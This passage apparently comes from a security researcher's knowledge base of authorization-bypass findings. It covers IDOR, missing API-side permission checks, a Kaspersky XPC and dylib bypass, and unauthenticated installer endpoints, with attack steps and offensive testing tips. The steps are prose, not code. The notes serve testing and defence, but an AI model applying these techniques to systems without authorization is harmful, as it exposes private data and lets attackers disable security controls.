Insight — Short-lived tokens assume the issuing job ends promptly and that revocation events (user block) propagate to active jobs. Test whether long-running/hung jobs keep tokens alive and whether deprovisioning re-validates in-flight sessions/tokens.

Root cause

The starMessage method validates that the user can access the room ID (rid) supplied in the request, but never checks that the target message actually belongs to that room. Access is authorized against attacker-controlled context, not the object.

Method

1. Log in and open the web inspector
2. Call the Meteor starMessage method with any room ID you legitimately access (e.g. general) plus an arbitrary target message _id
3. Server authorizes on the room you can access and writes the starred attribute on a message from a room you cannot access

Insight — When an endpoint takes both an object ID and a parent/scope ID, check whether authorization is done on the parent you supply rather than on the object. Point the scope at something you own and the object at something you don't.

Root cause

UserStoragesController delete only verifies the mount id exists in the DB, without checking the storage owner or type; any authenticated non-admin can delete any user or global external storage by id (CVE-2023-39962).

Method

1. Admin creates an external storage; note its integer storage id
2. As a non-admin user send DELETE /apps/files_external/userstorages/<storage_id>
3. Storage is unmounted/removed from DB regardless of owner

Insight — Delete/update handlers frequently check only existence, not ownership. Enumerate integer object ids and fire DELETE from a low-priv account; missing owner scoping is common in *StoragesController-style CRUD.

Root cause

Shopify Plus enforced menu/UI restrictions but the GraphQL API did not re-check function-level authorization: a user with only 'Store management' permission could call user-management mutations (convertUsersToSaml/convertUsersFromSaml) that should require User Management, potentially unlinking/linking victims' SAML identities and locking them out.

Method

1. Get a low-privilege role (Store management) that can reach some GraphQL endpoint
2. Enumerate object IDs via an accessible query (organization.users edges)
3. Replay a privileged mutation you shouldn't have, substituting a target user id
4. Server executes it (or returns a config-level error), proving the function-level check is missing

Insight — GraphQL BFLA: UI hiding a mutation is not authorization. For every low role, harvest object GIDs from any readable query, then replay each higher-privilege mutation directly. A domain-logic error message (not 'unauthorized') means you passed the authz gate.

Root cause

The macOS endpoint-security system extension's XPC listener (shouldAcceptNewConnection) validates only the client's Team ID, not full code-signing requirements or a hardened/min-version check. An attacker downloads an older signed Kaspersky binary that ships com.apple.security.cs.disable-library-validation, injects a dylib via dylib proxying, and from that same-Team-ID process calls getEndpointForProtocol to reach protocols like FileMonitorProtocol and disable AV (CVE-2021-26718).

Method

1. Find the Mach service name in the system extension Info.plist (NEMachServiceName)
2. Obtain an older, still-signed vendor binary that has disable-library-validation and inject a dylib (proxy the original)
3. From that process connect to the XPC service (Team ID check passes), call getEndpointForProtocol to obtain sensitive protocol endpoints, then invoke e.g. DisableReadonlyVolumeScan

Insight — For any XPC/IPC/COM service, check what the accept handler actually verifies. Team-ID-only is bypassable via an old vendor binary with disable-library-validation. Proper checks require Apple+TeamID+BundleID+min-version and audit_token (not PID, which is reuse-vulnerable).

Root cause

A user allowed to manage users within their own department could add users outside it by submitting an empty department_id value, which the server treated as 'no scope restriction' instead of rejecting it — a scope-escape via a blanked tenant identifier.

Method

1. As a sub-department user-manager, capture the add-user request
2. Blank out the department_id (or tenant/org scope) field
3. Submit; the empty scope bypasses the department boundary and adds users to the main department

Insight — Test empty/null/0/wildcard values for any tenant/department/org id that is supposed to constrain an action. Servers frequently interpret a missing scope as unscoped/global rather than denying it. Same idea as tenant-isolation bypass via blank org id.

Root cause

GitLab blocks a demoted Guest from viewing/editing Merge Requests in the web UI, but the same permission check is not implemented in the API. A downgraded user with a personal access token can still read MR title, description, participants, commits, changes, pipelines, versions, approvals, and create TODOs.

Method

1. Have a user create an MR as Developer, then get demoted to Guest (loses MR tab in UI)
2. Create a personal access token as the Guest and call the MR API endpoints
3. API returns data the UI forbids

Insight — After any role downgrade, re-test every action through the API/GraphQL rather than the UI. Authorization checks frequently live in web controllers/policies but are absent on the API surface for the same resource. This same fine-grained-permission gap also let Shopify staff export customers CSV without the export permission.

Root cause

GitLab restricts CI pipeline visibility (public pipelines disabled), but the MR container_scanning_reports and dependency_scanning_reports JSON endpoints, which are CI output, render regardless of that CI-access check, leaking scan findings to unauthorized users.

Method

1. Create a public project, restrict CI to members and disable public pipelines
2. Add a .gitlab-ci.yml that emits gl-container-scanning-report.json / gl-dependency-scanning-report.json artifacts and open an MR
3. As an unauthorized user request the MR scanning report sub-endpoints

Insight — When a feature is access-controlled, enumerate its data/widget sub-endpoints (…/xxx_reports, …/widget.json, …/discussions.json). The authz check often sits on the page/feature, not on each JSON sub-resource that reproduces the same protected data.

Root cause

UI restricted personal member info (email, role) to owners/admins, but the underlying members API endpoint enforced no such role check, so a low-privilege 'member' could read all team members' emails via the API.

Method

1. Join a team as a low-privilege member and note the team_id
2. Call the members API endpoint directly instead of using the UI
3. Read the emails/roles of all members that the UI would have hidden

Insight — When the UI hides fields by role, the JSON API behind it often does not. For every field a low-priv user cannot see in the UI, fetch the backing API/GraphQL directly - authorization is frequently only presentation-layer.

Root cause

GitLab enforced object ACLs in the web application but the notes REST API did not re-check them, so a user with only guest access could POST notes to private merge requests, issues, and snippets they cannot even view in the UI.

Method

1. As a guest, obtain a personal API token
2. Reference a private object id (MR/issue/snippet) you cannot see in the UI
3. POST to the notes API with that reference
4. Note is created on the private object, confirming the missing ACL check

Insight — Always test the API surface independently of the UI. UI-only authorization is a recurring class: read/write the same objects via REST/GraphQL that the web app hides. Enumerate object ids and drive every action through the raw API with a low-priv token.

Root cause

The 'notes' search scope returns hits from private groups/projects/issues without re-checking the caller's authorization, leaking existence and content of private objects to any logged-in user.

Method

1. As an unrelated/low-priv user, search with scope=notes for a keyword tied to a private project
2. Read leaked note bodies revealing private group/subgroup/project names, issue IDs and memberships
3. Repeat via the search API with any valid token

Insight — Search/indexing layers frequently bypass the app's per-object ACL. Test every search scope (notes, comments, snippets, wiki) as an outsider - the index often knows about private objects the UI would hide.

Root cause

The application's setup/installer endpoint is reachable without authentication on a live instance, letting an attacker restart/reconfigure the install.

Method

1. Browse directly to the setup path
2. Observe the reinstall/reconfigure UI available unauthenticated

Insight — Always probe for leftover installers/setup wizards: /mw-config/ (MediaWiki), /install, /setup, /wp-admin/setup-config.php, /installation/. On production they enable reconfiguration or full takeover. Fix pattern is to 404/deny the setup dir.

Root cause

Jira's QueryComponent!Default.jspa / QueryComponent!Jql.jspa endpoints do not authenticate the caller, exposing custom field names (incl. SLA fields) and allowing anonymous JQL queries.

Method

1. Identify a Jira instance (path /jira or /secure/Dashboard.jspa)
2. Request QueryComponent!Default.jspa unauthenticated to enumerate custom/SLA field names
3. Use QueryComponent!Jql.jspa?jql=... to run JQL and infer sensitive data

Insight — Product-specific unauthenticated endpoints are high-yield: fingerprint the app (Jira/Confluence/etc.), then hit the known CVE endpoints directly. Jira's !Default/!Jql action endpoints frequently bypass the login gate.

Root cause

Removing/downgrading a privileged user does not invalidate their active session/capabilities, and the member-delete (leave) endpoint checks no ownership of the target org/member, so any user can delete arbitrary members by supplying victim org/member IDs.

Method

1. Note victim org id and member id while transiently privileged (or from any leaked source)
2. Get removed/downgraded, then capture a legitimate remove-member (leave) request from your own org
3. Swap the account id and org id to the victim's values and replay
4. Server deletes the victim member with no authorization check

Insight — After any privilege change, retest with the old session - many apps cache capabilities and don't invalidate tokens on role removal. Separately, member/leave/remove endpoints are classic IDOR sinks: swap org and member ids to act cross-tenant. Test both the retained-privilege and the object-reference angles together.

Root cause

PHP's linkinfo() on Windows omits the open_basedir restriction check that the Unix path implements, so it can probe file existence/paths outside the allowed directories on shared hosting.

Method

1. On a shared host with open_basedir set, call linkinfo() against paths outside the jail
2. Non-warning return reveals presence of files outside the restriction

Insight — Filesystem-touching functions are inconsistently wrapped with open_basedir/realpath checks; audit less-common ones (linkinfo, realpath_cache, tempnam, glob) for a missing check to enumerate files outside the jail on shared hosting.

Root cause

In multi-context (multiple SNI cert/policy) mTLS setups, hostname matching is case-sensitive, so presenting the hostname in a different case selects a different (weaker/unintended) SNI context and bypasses the intended client-cert trust policy.

Method

1. Identify an mTLS server that selects trust policy by SNI hostname
2. Connect with the same hostname in uppercase/mixed case
3. Server matches a different context that does not enforce the intended client-cert policy

Insight — DNS hostnames are case-insensitive but security comparisons often aren't. Test uppercase/mixed-case (and trailing dot) variants against any host-based routing, SNI context selection, vhost ACL, or CORS/origin allowlist to slip into a different trust context.

Root cause

The rule 'you must follow a member before messaging them' was enforced only in the UI; the /messages endpoint performed no server-side authorization on the target user id.

Method

1. Capture the legitimate send-message POST while messaging someone you do follow
2. Replay it changing the user param to any target user id
3. Message is delivered with no follow relationship / authorization check

Insight — Whenever a workflow shows a client-side gate ('you must do X first'), replay the underlying request directly and swap the object id. Server-side authorization is frequently missing on the endpoint behind a UI restriction.

Root cause

The Kaspersky Protect browser extension sends the location of its privileged local command interface to its URL-Advisor frame via window.postMessage() with no targetOrigin restriction. A malicious page can replace/observe that frame, capture the message, and then drive the command interface directly. CVE-2019-15685.

Method

1. Host a page under a hostname the extension injects into (here, matching www.google.*)
2. Cause the URL Advisor frame to render, then intercept the unrestricted postMessage
3. Read the command-interface location from the message and issue commands to it
4. Toggle AV features / add blocklist entries as PoC

Insight — Audit browser extensions / desktop-injected content for postMessage(data,'*') and for message handlers lacking event.origin checks. Leaking a privileged endpoint/token to the DOM lets any web origin escalate to that endpoint's capabilities; here that reaches a SYSTEM-privileged command interface, turning any bug there into RCE.

Root cause

The Phabricator IRC bot resolved task numbers to titles for channels; querying it via direct private message returned task titles with no access-control check, disclosing private task names.

Method

1. Find an integration bot (IRC/Slack/Discord) that expands object references (T123, #123).
2. Direct-message the bot an object ID instead of using it in the shared channel.
3. It returns the object title/metadata without checking whether you may view it.

Insight — Bots and integrations often run with a service identity and skip per-user authorization. Enumerate sequential object IDs through the bot (DM or channel) to harvest titles/metadata of private items. Same class: link-unfurlers, preview generators, webhook responders.

Root cause

Cached/denormalized references (GitLab to-dos) created while a user had higher access are not re-checked or redacted when the user's role is lowered, so a downgraded (not removed) member keeps reading confidential issues/MRs via the API.

Method

1. As a higher-privilege member, add confidential issues/MRs to your to-do list
2. Have the owner downgrade your role (e.g. Repository -> Guest) rather than remove you
3. Query the to-dos API and observe continued access to confidential content and its updates

Insight — Test authorization state transitions, not just static roles. After a downgrade (vs full removal), re-check every cache/notification/to-do/bookmark surface that snapshotted object references while access was higher; regression-prone even after a prior fix.

Root cause

A background API call for a resource's historical versions is reachable unauthenticated and returns author PII (id, uuid, name); requesting the version whose state is verified/pending-verification additionally returns the author's email.

Method

1. Proxy the app and enumerate background XHRs on a public profile page (e.g. /app/org/{id}/profile/{id}/version/{id})
2. Replay the version endpoint without authentication to confirm PII exposure
3. Switch the version id to the verified/requested-to-be-verified version to obtain the extra email field

Insight — Watch the proxy for secondary/duplicate API calls the UI makes in the background; version/history endpoints often skip the auth checks the primary page enforces, and different object states (verified vs draft) expose different field sets. Enumerate both the id and the state/version.

Root cause

A 'No Permissions' staff account is still issued a valid X-Shopify-Access-Token by the mobile (POS) app before it enforces UI-level restrictions; that token is accepted by admin GraphQL mutations (exchangeReceiptSend) that lack server-side permission checks, leaking order details to an attacker-chosen phone.

Method

1. Create/assign a staff account with No Permissions; log into the mobile POS app while proxying (Fiddler/Burp)
2. Capture the X-Shopify-Access-Token the app sends (e.g. to /admin/api/unstable/shop.json) before it logs the account out
3. Replay an admin GraphQL mutation with that token, supplying an arbitrary exchangeId and your phone number
4. Receive the order receipt/authenticate links over SMS

Insight — Mobile/desktop clients frequently hand a full-scope API token to a low/no-permission account before enforcing UI gating. Intercept the client, harvest the token, then test privileged GraphQL mutations directly; permission checks enforced only in the UI (BFLA) fall apart at the API. Also enumerate object ids (Exchange/Order) for the mutation.

Root cause

A member limited to internal comments is restricted by an is_internal boolean; sending a malformed value (a bare comma -> array/empty) causes the server to treat the comment as non-internal, so it is delivered to all participants.

Method

1. As a user permitted only to post internal comments, capture the create-comment request
2. Change is_internal=true to is_internal=, (array/empty coercion)
3. Submit - the comment is created as public/visible to the reporter